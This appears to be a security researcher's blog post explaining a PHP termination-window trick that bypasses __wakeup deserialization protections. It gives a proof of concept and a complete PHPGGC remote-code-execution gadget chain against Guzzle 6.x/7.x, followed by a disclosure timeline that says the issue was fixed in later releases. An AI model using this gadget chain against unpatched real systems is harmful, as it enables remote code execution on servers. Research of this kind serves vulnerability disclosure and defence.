Using PHP termination process to bypass __wakeup


Draft Edit Publish Date
Category Security Difficulty level Easy Reading time 7 minutes

Disclaimer:
✗ This information is provided "AS IS" and without warranty.
✗ We DO NOT take any responsibility for any misuse of this article, and this information is shared solely for scientific and educational purposes.
Agreement:
✓ By reading this article, you agree to use the information provided only for legitimate purposes (such as legal penetration testing, bug bounty, etc.).
✓ For emphasis: By reading this article, you agree to never use the information provided for illegal, illegitimate, or malicious purposes.

Please read my previous blog post first.


PHP termination process time window


Between the occurrence of any factor that leads to execution termination (such as exit/die, uncaught exception, etc.) and complete execution halt, PHP allows other destructors and shutdown functions to run and complete unfinished tasks, such as closing database connections (Except in a few specific cases). This golden window of time is exactly what an attacker needs; Because under suitable conditions, one can still access that object which was the cause of the termination. I named this behavior "PHP-TPTW". ("PHP-Termination Process Time Window").

PHP-TPTW in deserialization


It is very common for developers to use a ‍‍__wakeup method that throws an exception to prevent deserialization, thinking that this is the correct approach. But is this really always the case?

When an (uncaught) exception occurs (or code termination via exit, die, …) inside a __wakeup method, the termination process is initiated. Still an attacker has a time window to use the object with other destructors or shutdown functions in the termination process.

A simple PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

 class A {
   function __wakeup() {
     echo "__wakeup is running ...\n";
     throw new Exception("Deserialization of this class is not allowed!");
   }
	
   function foo() {
     echo __METHOD__ . " is running. If you see this message, it means __wakeup can be bypassed! \n\n\n";
   }
 }

 class B {
   public $value;
	
   function __destruct() {
     $this->value->foo();
   }
 }

 unserialize('O:1:"B":1:{s:5:"value";O:1:"A":0:{}}');

Results on PHP 8.5.11 (Sep 2026), PHP 8.x, PHP 7.x, PHP 5.6:

__wakeup is running ...
A::foo is running. If you see this message, it means __wakeup can be bypassed! 


PHP Fatal error:  Uncaught Exception: Deserialization of this class is not allowed! in /tmp/test.php:6
Stack trace:
#0 [internal function]: A->__wakeup()
#1 /tmp/test.php(22): unserialize()
#2 {main}
  thrown in /tmp/test.php on line 6

Method A::foo() has been executed successfully between an (uncaught) exception occurrence and the complete execution halt.

This trick (PHP-TPTW) allows us to bypass __wakeup restriction and use the class members (properties, methods).

Prerequisites:

  • A class whose unserialization capability is restricted by the wakeup method, and using it for unserialization results in an exception or program exit.

  • A destructor or any method or function that executes during the termination process and can access the forbidden class.

For multi-level composition:

If class A contains an instance of class B, class B contains an instance of class C, class C contains an instance of class D, class D contains an instance of class E: (An instance of a class = object)

Besides Composition, there are other ways to use PHP-TPTW trick.

  • PHP-TPTW trick works on PHP 5.6, 7.x, 8.x. (I didn’t test on older than PHP 5.6).

  • PHP-TPTW trick is based on a native PHP behavior and will NOT be fixed in the near future. (IMO)

  • PHP-TPTW trick is NOT only for deserialization (__wakeup/‍‍‍__unserialize bypass) but also HAS other applications.

Let’s use it practically with a real-world example …

Guzzle


According to packagist statistics, guzzlehttp/psr7 is the fifth most popular package (Total installs); Of the 4 previous packages, 2 of them are interfaces.

FnStream class contains a deserialization protection by __wakeup method since Oct 2017. [link]

🔗
final class FnStream implements StreamInterface
{
  ...
  public function __wakeup(): void
  {
    throw new \LogicException('FnStream should never be unserialized');
  }
  ...
  public function __toString(): string
  {
    try {
      /** @var string */
      return ($this->_fn___toString)();
    } catch (\Throwable $e) {
      if (\PHP_VERSION_ID >= 70400) {
        throw $e;
      }
      trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

      return '';
    }
  }
  ...

We will use FileCookieJar class as a container that triggers FnStream::__toString() when its (FileCookieJar) destructor will be called.

The other technical details are the same as my previous POP chain and we will prevent the occurrence of errors/warnings/notices with some PHP tricks. Please read the blog post if you want to know more …

Guzzle RCE GC

chain.php:

<?php

namespace GadgetChain\Guzzle;

class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
  public static $version = '6.x, 7.x';
  public static $vector = '__destruct';
  public static $author = 'mir-hossein (Mirhossein Rahmani)';
  public static $information = "This GC has been provided to demonstrate PHP-TPTW trick. Please use it only for educational purposes or legal pentest.\n" .
                               "This GC is the revived version of an obsolete GC. (Guzzle/RCE1 by Charles Fol and Rodrigo Nas).";

  public function generate(array $parameters)
  {
    $function = $parameters["function"];
    $parameter = $parameters["parameter"];
         
    return new \GuzzleHttp\Cookie\FileCookieJar($function, $parameter);
  }
}

gadgets.php:

<?php
namespace GuzzleHttp {
  class HandlerStack {
    private $handler;
    private $stack;
    
    public function __construct($function, $parameter) {
      $this->handler = $parameter;
      $this->stack = [
        ["1"],
        ["set_exception_handler"],
        [
          [
            new \GuzzleHttp\Psr7\BufferStream,
            "__toString"
          ]
        ],
        [$function]
      ];
    }
  }
}

namespace GuzzleHttp\Psr7 {
  class FnStream {
    public $_fn___toString;
        
    public function __construct($function, $parameter) {
      $this->_fn___toString = [
        new \GuzzleHttp\HandlerStack($function, $parameter),
        "resolve"
      ];
    }
  }
  
  class BufferStream {
    private $buffer = 'is_int';
  }
}

namespace GuzzleHttp\Cookie {
  class FileCookieJar {
    private $filename;

    public function __construct($function, $parameter) {
      $this->filename = new \GuzzleHttp\Psr7\FnStream($function, $parameter);
    }
  }
}

The GC will be available in PHPGGC soon. To access it before that you can use this link. (Check branches)

Timeline


Date Description
2025-???-?? Was found in 2025.
2025-Aug-22 Reported to Guzzle team via Tidelift/Sonarsource.
2026-May-22 Reported to Guzzle team again. (No answer after 9 months.)
2026-Jun-9 Reported to the maintainer. (Third time)
2026-Jun-10

It appeared that they hadn’t accepted my report. However, their approach to other similar reports was different (IMO). See PSR7 PR #165, PR #3286, PR #3326 and PR #3334. But … 👇

2026-Jun-10 They made the changes that had been recommended to them in the email, though they hadn’t accepted the report. PR 3618 and PR 786.
2026-Jun-10 They have given their approval to publish this blog post.
2026-Jun-10 I decided to postpone publishing the article until the update is released.
2026-Jul-20 Guzzle 8.0 and Psr7 3.0 were released. 🎉
2026-Oct-22 Blog post was published.

Conclusion


This blog post only shows the security aspect of a native PHP behavior by demonstrating a (new?) __wakeup bypass for a very popular library after years. The issue (POP chain) has been solved on Guzzle 8.0 and Psr7 3.0. (Released 2026 Jul 20)

This blog post is part of a larger research project. More articles will be published gradually.


Comments/Questions


If you have any questions, please use this link to submit them.